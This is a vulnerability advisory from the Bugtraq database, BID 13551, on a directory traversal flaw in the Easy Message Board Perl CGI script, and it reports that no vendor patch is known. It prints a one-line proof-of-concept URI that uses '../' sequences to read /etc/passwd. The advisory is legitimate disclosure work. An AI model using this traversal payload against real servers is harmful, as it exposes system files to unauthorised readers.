Easy Message Board Directory Traversal Vulnerability

BID:13551

Info

Easy Message Board Directory Traversal Vulnerability

Bugtraq ID: 13551
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: May 09 2005 12:00AM
Updated: May 09 2005 12:00AM
Credit: SoulBlack Group <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable: Colored Scripts Easy Message Board
Not Vulnerable:

Discussion

Easy Message Board Directory Traversal Vulnerability

Easy Message Board is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root.

Exploit / POC

Easy Message Board Directory Traversal Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example/com/cgi-bin/emsgb/easymsgb.pl?print=../../../../../../../../etc/passwd

Solution / Fix

Easy Message Board Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Easy Message Board Directory Traversal Vulnerability

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